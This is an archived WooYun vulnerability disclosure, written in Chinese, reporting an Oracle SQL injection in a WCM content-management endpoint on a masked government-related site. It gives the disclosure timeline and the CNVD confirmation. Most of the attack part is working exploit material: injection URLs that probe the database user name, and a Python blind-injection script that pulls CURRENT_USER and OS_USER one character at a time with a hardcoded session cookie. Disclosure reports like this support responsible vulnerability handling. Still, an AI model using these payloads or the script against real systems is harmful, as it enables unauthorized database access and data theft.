乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2016-04-29: 细节已通知厂商并且等待厂商处理中 2016-05-05: 厂商已经确认,细节仅向厂商公开 2016-05-15: 细节向核心白帽子及相关领域专家公开 2016-05-25: 细节向普通白帽子公开 2016-06-04: 细节向实习白帽子公开 2016-06-19: 细节向公众公开
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注入地址:
http://**.**.**.**/wcm/cm_ly/goToLycont.action?fhtype=1&id=8a4ac70250f05d9e0151590e127808da' AND length(SYS_CONTEXT('USERENV','CURRENT_USER'))=3 AND 'xxx'='xxx
参数id过滤不严格导致SQLi
返回正常
http://**.**.**.**/wcm/cm_ly/goToLycont.action?fhtype=1&id=8a4ac70250f05d9e0151590e127808da' AND length(SYS_CONTEXT('USERENV','CURRENT_USER'))=4 AND 'xxx'='xxx
返回不一样,判断用户名为3个字符直接放进脚本跑。这里举例CURRENT_USER和OS_USER,其他类似
#!/usr/bin/env python# -*- coding: utf-8 -*-# @Author: import requestsurl = "http://**.**.**.**/wcm/cm_ly/goToLycont.action?fhtype=1&id=8a4ac70250f05d9e0151590e127808da"payloads='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789@_.'header = { "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0", "Cookie":"JSESSIONID=5V1JXjMpQLtR92RxJ62KrMQLfY4t6xpdQCBfcXLHtT2yz4jsT7Gr!1478879510", "Accept":"" }def getData(): user='' for i in range(1,4,1): for exp in list(payloads): try: payload = "'AND substr(SYS_CONTEXT('USERENV','CURRENT_USER'),%s,1)='%s' AND 'xxx'='xxx" % (i,''.join(exp)) r = requests.get(url + payload,headers=header,allow_redirects=False,timeout=100) res = r.text #print exp if res.find("20151130234113") >0 : user+=exp print '\n user is:',user, except: pass print '\n[Done] Oracle user is %s' %user def getDataBase(): user='' for i in range(0,13,1): for exp in list(payloads): try: payload = "'AND substr(SYS_CONTEXT('USERENV','OS_USER'),%s,1)='%s' AND 'xxx'='xxx" % (i,''.join(exp)) r = requests.get(url + payload,headers=header,allow_redirects=False,timeout=100) res = r.text #print exp if res.find("20151130234113") >0 : user+=exp print '\n OS_USER is:',user, except: pass print '\n[Done] Oracle OS_USER is %s' %userif __name__ == '__main__': #len = getLength() getData() getDataBase()
验证结果:
危害等级:高
漏洞Rank:10
确认时间:2016-05-05 19:36
CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给新疆分中心,由新疆分中心后续协调网站管理单位处置。
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